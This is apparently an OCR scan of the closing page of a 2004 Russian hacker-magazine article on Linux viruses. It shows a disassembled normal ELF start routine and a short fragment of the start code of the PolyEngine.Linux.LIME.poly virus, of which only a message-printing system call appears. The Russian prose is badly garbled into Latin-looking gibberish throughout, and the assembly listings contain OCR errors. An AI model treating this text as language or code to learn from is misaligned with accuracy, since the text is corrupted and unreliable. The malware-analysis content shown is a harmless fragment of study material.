JncTvHr 16. ANbTEPHATMBHEN NPVMEP HOPMANBHOM CTapTOBOM (YHKIpmM

.text:08048330
.text:08048330

public start
start proc near

.text:08048330 Xor ebp, ebp
.text:08048332 pop esi

.text:08048333 mov ecx, esp
.text:08048335 and esp, OFFFFFFF8h
.text:08048338 push  eax

.text:08048339 push esp

.text:0804833A push  edx

.text:0804833B push offset sub 804859C
.text:08048340 push  offset sub 80482BC
.text:08048345 push  ecx

.text:08048346 push esi

.text:08048347 push offset loc_8048430
.text:0804834C call _ 1libc start main
.text:08048351 hlt

.text:08048352 nop

.text:08048353 nop

.text:08048353 start endp

BONbLWMHCTBO 3apaxeHHbIX hainoB BbIrNaauT uHadve. B
4aCTHOCTH, CTapToBbIN kof Bupyca PolyEngine.Linux.LIME.poly
BbIMNSANT TakK:

JucTuer 17. CrapToBmwt kop Bupyca PolyEngine.Linux.LIME.poly

; Alternative name is 'main'

.data:080499C1 LIME END:

.data:080499C1 mov eax, 4
.data:080499Cé6 mov ebx, 1

; "Generates 50 [LiME] encrypted.."

.data:080499CB mov ecx, offset gen msg
.data:080499D0 mov edx, 2Dh

; LINUX - sys_write

.data:080499D5 int 80h

.data:080499D7 mov ecx, 32h

3akno4yeuue
HeCMOTpH Ha CBOVI, npAMO CKaXxeMm, fajieko He ManeHbKui
pa3mMep, HacTodlaa CcTaTba OXBaTthna ganeko He BeCb Kpyr
N3Ha4allbHO HaMe4YeHHbIX TeM.|483anOHyTHMM OoCTanncb
BOMPOCHI «NpopbiBa» BMpTyaHbHOﬂ MalUnHblI UHTEepnpeTaTo-
poM, TexHuka BbiABneHus Stealth-BupycoB u npotueopeii-
CTBMHMM,XM3H€HHHMuMKHHepBeﬂMKOMHHeKCMep,Hanpa&
JIeHHbIX Ha npepnoTepalleHne BO3SMOXHOIro BTOPXEHU4...
060 BCEM 3TOM W MHOrOM [IpyroM Mbl MOrOBOPYM B Crie-
,D,yIOLLMl71 pas, ecnun, KOHe4HO, K TOMY BPeMeHU 3Ta TemMa HU-
KOMY He HafoOecCT...

Ne1(14), auBapb 2004
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